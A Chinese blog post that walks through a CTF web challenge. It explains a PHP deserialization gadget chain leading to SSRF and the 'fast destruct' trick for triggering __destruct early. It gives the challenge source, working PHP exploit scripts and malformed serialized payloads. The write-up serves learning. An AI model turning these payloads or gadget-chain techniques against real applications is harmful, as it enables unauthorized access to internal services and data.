从power!初识fast destruct

  学CTF也有一段日子了,很少记录自己的学习历程,再看之前做过的题目也有些一知半解,遂想到用blog记录下来用以反思

power!

——https://www.ctfer.vip/contest/52/ NSS_SWPU复现

题目环境点进去是这样的
image

  由题目提示查看源码
image

源码
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Image Viewer ~ @V@</title>
</head>
<body>
    <h1>This is a Image viewer</h1>
    <form action="/" method="get">
        <input type="text" placeholder="vergil.jpg" name="image_path">
        <button type="submit">submit</button>
    </form>
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>
</body>
<!-- ?source= -->
</html> 

提示flag在flag.php,于是在框内输入flag.php访问,在源码中会发现这玩意儿。
image
base64解码发现
image
  直接访问该地址是得不到flag的。看源码,恰好我们有两个类可以利用:FileViewer和backdoor。其中FileViewer的loadfile方法提供了curl,容易想到SSRF。但FileViewer的__wakeup方法使得local属性一进行反序列化就重置为"http://127.0.0.1/"。
  因为php版本较高无法通过改属性数量绕过__wakeup,但是backdoor为我们提供了改变属性的方法goodman。且destruct中调用c可以触发FileViewer中的__call方法,于是我们的思路连起来了。

Backdoor::destruct–>FileViewer::call–>FileViewer::loadfile

我们的exp如下

点击查看代码
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "http://127.0.0.1:65500";

        public function __construct(){
            $this->a = new FileViewer;
            $this->b="local";
         } 
    }
    $a=new Backdoor();
    echo serialize($a);

?>

由于源代码在反序列化之前还包裹着base64_decode,所以要先base64编码再传入(我没看到被坑了……)
但是仅仅这样是不行的 因为此时我们封装的是Backdoor,在反序列化的下一行,
image
Backdoor并没有loadfile方法!直接传入我们的代码抛出异常而无法达到预期效果
image

我们的主角登场

Fast Destruct

  引用一位大佬的文章
image
  在这个题目中,反序列化得到的对象被赋给了$FV导致__destruct在程序结尾才被执行,从而无法绕过$FV->loadfile();代码中的报错,如果能够进行fast destruct,那么就可以提前触发_destruct,绕过反序列化报错。

  一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下:

原payload:

O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}

修改序列化数字元素个数

此处将backdoor后的3改为任意值

O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}

去掉序列化尾部 }

O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";

这两种payload在base64编码传入后都可获得flag
image

Another exp

  刚刚就是出题人的预期思路,但是我在一位大佬的题解中发现了另一种思路:

  对于$FV->loadfile();的另一种解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

exp如下
点击查看代码
<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "http://127.0.0.1:65500";

        public function __construct(){
            $this->a = new FileViewer;
            $this->b="local";
         } 
    }
    $a=new Backdoor();
    $b=new FileViewer();
    $b->test = $a;
    echo base64_encode(serialize($b));
?>

  同样可以得到flag



  第一次写blog,如有错误,敬请指正。

参考链接:
https://zhuanlan.zhihu.com/p/405838002
http://www.hackdig.com/06/hack-389223.htm
https://exp10it.cn/2022/10/2022-swpu-nss-新生赛-web-writeup/#power

posted on 2022-11-06 12:14  APPPQRS  阅读(502)  评论(0编辑  收藏  举报